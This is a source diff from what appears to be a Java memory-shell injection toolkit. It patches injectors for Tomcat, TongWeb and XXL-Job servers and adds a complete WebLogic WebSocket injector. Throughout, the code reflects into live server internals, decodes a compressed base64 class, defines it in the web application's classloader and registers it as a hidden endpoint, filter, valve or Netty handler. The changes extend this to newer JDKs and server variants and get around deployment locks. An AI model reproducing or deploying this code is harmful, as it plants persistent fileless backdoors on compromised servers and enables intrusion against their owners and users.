mv.visitInsn(Opcodes.RETURN);
|
mv.visitInsn(Opcodes.RETURN);
|
||||||
|
}
|
||||||
mv.visitLabel(ifConditionFalse);
|
mv.visitLabel(ifConditionFalse);
|
||||||
mv.visitLabel(tryEnd);
|
mv.visitLabel(tryEnd);
|
||||||
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||||
@@ -199,17 +211,22 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
|||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public void defineTargetClass(ClassLoader loader) {
|
public void defineTargetClass(ClassLoader loader) {
|
||||||
|
// Always define into the target class's loader. loadClass() may resolve the shell from the
|
||||||
|
// agent AppClassLoader, which OSGi bundle loaders cannot use for NEW/invoke.
|
||||||
try {
|
try {
|
||||||
loader.loadClass(getClassName());
|
java.lang.reflect.Method findLoadedClass = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class);
|
||||||
|
findLoadedClass.setAccessible(true);
|
||||||
|
if (findLoadedClass.invoke(loader, getClassName()) != null) {
|
||||||
return;
|
return;
|
||||||
} catch (ClassNotFoundException ignored) {
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||||
} catch (Exception ignored) {
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+8
-3
@@ -199,17 +199,22 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public void defineTargetClass(ClassLoader loader) {
|
public void defineTargetClass(ClassLoader loader) {
|
||||||
|
// Always define into the target class's loader. loadClass() may resolve the shell from the
|
||||||
|
// agent AppClassLoader, which OSGi bundle loaders cannot use for NEW/invoke.
|
||||||
try {
|
try {
|
||||||
loader.loadClass(getClassName());
|
java.lang.reflect.Method findLoadedClass = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class);
|
||||||
|
findLoadedClass.setAccessible(true);
|
||||||
|
if (findLoadedClass.invoke(loader, getClassName()) != null) {
|
||||||
return;
|
return;
|
||||||
} catch (ClassNotFoundException ignored) {
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||||
} catch (Exception ignored) {
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+48
-2
@@ -59,14 +59,31 @@ public class TomcatListenerInjector {
|
|||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
String threadName = thread.getName();
|
String threadName = thread.getName();
|
||||||
if (threadName.contains("ContainerBackgroundProcessor")) {
|
if (threadName.contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Object target = getThreadTarget(thread);
|
||||||
|
if (target == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Object container = getContainerFromProcessor(target);
|
||||||
|
if (container == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
|
||||||
|
if (childrenMap == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
for (Object value : childrenMap.values()) {
|
for (Object value : childrenMap.values()) {
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
if (children != null) {
|
||||||
contexts.addAll(children.values());
|
contexts.addAll(children.values());
|
||||||
}
|
}
|
||||||
|
}
|
||||||
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
||||||
try {
|
try {
|
||||||
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
|
Object target = getThreadTarget(thread);
|
||||||
|
if (target == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Object proto = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "proto");
|
||||||
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
||||||
for (Object value : childrenMap.values()) {
|
for (Object value : childrenMap.values()) {
|
||||||
@@ -90,6 +107,35 @@ public class TomcatListenerInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private Object getThreadTarget(Thread thread) throws Exception {
|
||||||
|
Object target = getFieldValue(thread, "target");
|
||||||
|
if (target == null) {
|
||||||
|
// JDK 21+
|
||||||
|
Object holder = getFieldValue(thread, "holder");
|
||||||
|
if (holder != null) {
|
||||||
|
target = getFieldValue(holder, "task");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return target;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Older Catalina: ContainerBackgroundProcessor.this$0
|
||||||
|
* Payara 6.2024+/7 style: ContainerBackgroundProcessorAtomic.base (WeakReference)
|
||||||
|
*/
|
||||||
|
private Object getContainerFromProcessor(Object target) throws Exception {
|
||||||
|
Object container = getFieldValue(target, "this$0");
|
||||||
|
if (container != null) {
|
||||||
|
return container;
|
||||||
|
}
|
||||||
|
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
|
||||||
|
Object base = atomic != null ? getFieldValue(atomic, "base") : getFieldValue(target, "base");
|
||||||
|
if (base instanceof java.lang.ref.Reference) {
|
||||||
|
return ((java.lang.ref.Reference<?>) base).get();
|
||||||
|
}
|
||||||
|
return base;
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private String getContextRoot(Object context) {
|
private String getContextRoot(Object context) {
|
||||||
String r = null;
|
String r = null;
|
||||||
|
|||||||
+2
-1
@@ -17,7 +17,8 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer {
|
|||||||
private static final String[] TARGET_CLASSES = new String[]{
|
private static final String[] TARGET_CLASSES = new String[]{
|
||||||
"com/tongweb/web/thor/core/StandardContextValve",
|
"com/tongweb/web/thor/core/StandardContextValve",
|
||||||
"com/tongweb/catalina/core/StandardContextValve",
|
"com/tongweb/catalina/core/StandardContextValve",
|
||||||
"com/tongweb/server/core/StandardContextValve"
|
"com/tongweb/server/core/StandardContextValve",
|
||||||
|
"com/tongweb/container/core/StandardContextValve"
|
||||||
};
|
};
|
||||||
private static final String TARGET_METHOD_NAME = "invoke";
|
private static final String TARGET_METHOD_NAME = "invoke";
|
||||||
|
|
||||||
|
|||||||
+2
-1
@@ -17,7 +17,8 @@ public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
private static final String[] TARGET_CLASSES = new String[]{
|
private static final String[] TARGET_CLASSES = new String[]{
|
||||||
"com/tongweb/web/thor/core/ApplicationFilterChain",
|
"com/tongweb/web/thor/core/ApplicationFilterChain",
|
||||||
"com/tongweb/catalina/core/ApplicationFilterChain",
|
"com/tongweb/catalina/core/ApplicationFilterChain",
|
||||||
"com/tongweb/server/core/ApplicationFilterChain"
|
"com/tongweb/server/core/ApplicationFilterChain",
|
||||||
|
"com/tongweb/container/core/ApplicationFilterChain"
|
||||||
};
|
};
|
||||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||||
|
|
||||||
|
|||||||
+8
@@ -167,11 +167,19 @@ public class TongWebFilterInjector {
|
|||||||
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap");
|
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap");
|
||||||
filterMap = filterMapClass.newInstance();
|
filterMap = filterMapClass.newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
// tongweb 8
|
// tongweb 8
|
||||||
constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||||
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
||||||
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
|
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
|
||||||
filterMap = filterMapClass.newInstance();
|
filterMap = filterMapClass.newInstance();
|
||||||
|
} catch (Exception e1) {
|
||||||
|
// tongweb embedded (spring boot)
|
||||||
|
constructor = contextClassLoader.loadClass("com.tongweb.container.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||||
|
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
||||||
|
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
||||||
|
|||||||
+5
@@ -141,8 +141,13 @@ public class TongWebValveInjector {
|
|||||||
// tongweb6
|
// tongweb6
|
||||||
valveClass = contextClassLoader.loadClass("com.tongweb.web.thor.Valve");
|
valveClass = contextClassLoader.loadClass("com.tongweb.web.thor.Valve");
|
||||||
} catch (ClassNotFoundException e1) {
|
} catch (ClassNotFoundException e1) {
|
||||||
|
try {
|
||||||
// tongweb8
|
// tongweb8
|
||||||
valveClass = contextClassLoader.loadClass("com.tongweb.server.Valve");
|
valveClass = contextClassLoader.loadClass("com.tongweb.server.Valve");
|
||||||
|
} catch (ClassNotFoundException e2) {
|
||||||
|
// tongweb embedded (spring boot)
|
||||||
|
valveClass = contextClassLoader.loadClass("com.tongweb.container.Valve");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||||
|
|||||||
+307
@@ -0,0 +1,307 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.weblogic;
|
||||||
|
|
||||||
|
import javax.management.MBeanServer;
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.management.ManagementFactory;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class WebLogicWebSocketInjector {
|
||||||
|
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "{{urlPattern}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public WebLogicWebSocketInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
Object container = getServerContainer(context);
|
||||||
|
if (container == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, container, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* weblogic.servlet.internal.WebAppServletContext
|
||||||
|
*/
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
public static Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
|
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
|
||||||
|
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
|
||||||
|
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
|
||||||
|
String key = entry.getKey();
|
||||||
|
if (key.contains("Type=WebAppComponentRuntime")) {
|
||||||
|
Object value = entry.getValue();
|
||||||
|
Object managedResource = getFieldValue(value, "managedResource");
|
||||||
|
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
|
||||||
|
webappContexts.add(getFieldValue(managedResource, "context"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
|
||||||
|
Object request = null;
|
||||||
|
try {
|
||||||
|
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
||||||
|
request = getFieldValue(connectionHandler, "request");
|
||||||
|
} catch (Exception x) {
|
||||||
|
// WebLogic 10.3.6
|
||||||
|
request = workEntry;
|
||||||
|
}
|
||||||
|
if (request != null) {
|
||||||
|
webappContexts.add(getFieldValue(request, "context"));
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
return webappContexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
|
try {
|
||||||
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
} catch (Exception e) {
|
||||||
|
return ((ClassLoader) getFieldValue(context, "classLoader"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private Object getShell(Object context) throws Exception {
|
||||||
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
|
try {
|
||||||
|
clazz = classLoader.loadClass(getClassName());
|
||||||
|
} catch (Exception e) {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private Object getServerContainer(Object context) throws Exception {
|
||||||
|
// WebLogic's WebAppServletContext implements javax.servlet.ServletContext directly
|
||||||
|
Object container = invokeMethod(context, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
|
||||||
|
if (container == null) {
|
||||||
|
container = invokeMethod(context, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
|
||||||
|
}
|
||||||
|
return container;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private void inject(Object context, Object container, Object obj) throws Exception {
|
||||||
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
|
Class<?> serverEndpointConfigClass;
|
||||||
|
Class<?> builderClass;
|
||||||
|
try {
|
||||||
|
serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
|
||||||
|
builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig");
|
||||||
|
builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Use the standard static factory method — Tyrus (WebLogic) only exposes create(), not a (Class,String) constructor
|
||||||
|
Object builder = invokeMethod(builderClass, "create", new Class[]{Class.class, String.class}, new Object[]{obj.getClass(), getUrlPattern()});
|
||||||
|
Object endpointConfig = invokeMethod(builder, "build", null, null);
|
||||||
|
|
||||||
|
// JSR-356 addEndpoint() throws IllegalStateException once the app is active; Tyrus's own
|
||||||
|
// register() bypasses this post-deployment lock and works on a live WebLogic server.
|
||||||
|
invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
||||||
|
invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
||||||
|
try {
|
||||||
|
invokeMethod(container, "register", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
|
||||||
|
} catch (Exception e) {
|
||||||
|
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
prioritizeWebSocketFilter(context);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
// Newer WebLogic versions may use different filter internals and already order Tyrus first.
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* WebLogic 12 and 14 append Tyrus's filter after application filters. If one of those filters
|
||||||
|
* does not support async processing, Tyrus cannot call startAsync() during the WebSocket
|
||||||
|
* handshake. Move only the WebSocket mapping ahead of normal application mappings so the
|
||||||
|
* upgrade is handled before a non-async filter can disable async support for the request.
|
||||||
|
*/
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private void prioritizeWebSocketFilter(Object context) throws Exception {
|
||||||
|
Object filterManager = invokeMethod(context, "getFilterManager", null, null);
|
||||||
|
Object value = getFieldValue(filterManager, "filterPatternList");
|
||||||
|
if (!(value instanceof List)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
List filterMappings = (List) value;
|
||||||
|
synchronized (filterMappings) {
|
||||||
|
for (int i = 0; i < filterMappings.size(); i++) {
|
||||||
|
Object filterMapping = filterMappings.get(i);
|
||||||
|
Object filterName = getFieldValue(filterMapping, "filterName");
|
||||||
|
if ("WebSocket filter".equals(filterName)) {
|
||||||
|
if (i > 0) {
|
||||||
|
filterMappings.remove(i);
|
||||||
|
filterMappings.add(0, filterMapping);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+55
-35
@@ -1,13 +1,8 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.xxljob;
|
package com.reajason.javaweb.memshell.injector.xxljob;
|
||||||
|
|
||||||
import com.xxl.job.core.biz.impl.ExecutorBizImpl;
|
|
||||||
import com.xxl.job.core.server.EmbedServer;
|
|
||||||
import io.netty.channel.ChannelHandler;
|
import io.netty.channel.ChannelHandler;
|
||||||
import io.netty.channel.ChannelInitializer;
|
import io.netty.channel.ChannelInitializer;
|
||||||
import io.netty.channel.socket.SocketChannel;
|
import io.netty.channel.socket.SocketChannel;
|
||||||
import io.netty.handler.codec.http.HttpObjectAggregator;
|
|
||||||
import io.netty.handler.codec.http.HttpServerCodec;
|
|
||||||
import io.netty.handler.timeout.IdleStateHandler;
|
|
||||||
|
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
@@ -15,11 +10,8 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.HashSet;
|
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.concurrent.LinkedBlockingQueue;
|
import java.util.UUID;
|
||||||
import java.util.concurrent.ThreadPoolExecutor;
|
|
||||||
import java.util.concurrent.TimeUnit;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -43,8 +35,11 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
inject();
|
if (inject()) {
|
||||||
msg += "[/*] ready\n";
|
msg += "[/*] ready\n";
|
||||||
|
} else {
|
||||||
|
msg += "failed, server channel not found\n";
|
||||||
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
msg += "failed " + getErrorMessage(e) + "\n";
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
}
|
}
|
||||||
@@ -58,25 +53,28 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
|
|||||||
}
|
}
|
||||||
|
|
||||||
private static Class<?> handlerClass;
|
private static Class<?> handlerClass;
|
||||||
|
private static ChannelHandler originalChildHandler;
|
||||||
|
private final String handlerName = UUID.randomUUID().toString();
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected void initChannel(SocketChannel channel) throws Exception {
|
protected void initChannel(SocketChannel channel) throws Exception {
|
||||||
|
if (channel.pipeline().get(handlerName) != null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
ChannelHandler channelHandler = (ChannelHandler) handlerClass.newInstance();
|
ChannelHandler channelHandler = (ChannelHandler) handlerClass.newInstance();
|
||||||
channel.pipeline()
|
channel.pipeline().addLast(originalChildHandler);
|
||||||
.addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS))
|
String httpCodecName = null;
|
||||||
.addLast(new HttpServerCodec())
|
for (String name : channel.pipeline().names()) {
|
||||||
.addLast(new HttpObjectAggregator(5 * 1024 * 1024))
|
if (name.contains("HttpObjectAggregator")) {
|
||||||
.addLast(channelHandler)
|
httpCodecName = name;
|
||||||
.addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor(
|
break;
|
||||||
0,
|
}
|
||||||
200,
|
}
|
||||||
60L,
|
if (httpCodecName != null) {
|
||||||
TimeUnit.SECONDS,
|
channel.pipeline().addAfter(httpCodecName, handlerName, channelHandler);
|
||||||
new LinkedBlockingQueue<>(2000),
|
} else {
|
||||||
r -> new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode()),
|
channel.pipeline().addFirst(handlerName, channelHandler);
|
||||||
(r, executor) -> {
|
}
|
||||||
throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!");
|
|
||||||
})));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private Class<?> getShellClass(Object context) throws Exception {
|
private Class<?> getShellClass(Object context) throws Exception {
|
||||||
@@ -91,28 +89,50 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
